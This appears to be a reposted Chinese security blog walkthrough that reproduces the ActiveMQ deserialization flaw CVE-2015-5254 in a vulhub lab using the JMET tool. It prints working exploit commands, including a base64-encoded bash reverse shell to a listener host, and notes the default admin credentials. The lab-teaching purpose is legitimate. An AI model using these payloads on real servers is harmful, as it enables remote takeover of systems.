文章总结: ApacheActiveMQ5.13.0之前版本存在反序列化漏洞(CVE-2015-5254),源于JMSObjectMessage对象未对序列化类做限制,攻击者可构造恶意序列化类实现RCE。本文演示了使用JMET工具构造payload,通过创建恶意消息队列,当管理员查看时触发攻击,最终实现反弹shell获取服务器控制权。
综合评分: 85
文章分类: 漏洞分析,WEB安全,渗透测试
ActiveMQ反序列化漏洞复现
原创
dmd5安全
dmd5安全
2025年11月18日 11:03
江西
一、漏洞原理
该漏洞源于序列化的Java Message Service(JMS)ObjectMessage对象存在反序列化漏洞,同时程序没有对代理中序列化的类做限制,导致攻击者可以构造恶意的序列化的类进行RCE攻击。
影响范围:
Apache ActiveMQ 5.13.0之前5.x版本中存在漏洞
二、漏洞复现
1.启动漏洞环境
进入vulhub靶场的active/CVE-2015-5254目录,执行下述命令启动环境
sudo docker-compose up -d
环境启动后,在61616监听用户传来的消息,维持一个消息队列;8161是Web管理页面端口
2.使用JMET工具进行漏洞测试
下载JMET工具,并在同级目录下创建external文件
下载链接:
https://github.com/matthiaskaiser/jmet
使用JMET工具构造payload进行漏洞测试
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.2.20 61616
其中ROME为JMET中自带的反序列化漏洞攻击载荷,命令执行后会给activeMQ添加一个名字叫event的队列,管理员点击查看这个消息队列时攻击就会触发——在服务器的/tmp目录下创建一个success文件
3.触发攻击
管理员打开消息队列界面
http://your-ip:8161/admin/browse.jsp?JMSDestination=event
管理员账号密码:admin/admin
点击查看新创建的消息时攻击即被触发,查看/tmp目录下已经成功创建success文件,证明存在可被利用的反序列化漏洞(要进入docker容器查看)
4.创建反弹shell
将创建success文件的命令改成反弹shell的语句即可实现远程控制
nc开启监听
payload构造
bash -i >& /dev/tcp/192.168.2.30/2345 0>&1
直接使用bash反弹shell无法成功,需要进行base64编码,编码后使用JMET工具
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMzAvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.2.20 61616
管理员触发攻击后nc即可连接到服务器进行远程控制
参考文章:https://www.freebuf.com/articles/vuls/355474.htmlhttp://halorealme.com/zh/Vulhub%E9%9D%B6%E5%9C%BA/ActiveMQ%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2015-5254%EF%BC%89.html
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:dmd5安全 dmd5安全《ActiveMQ反序列化漏洞复现》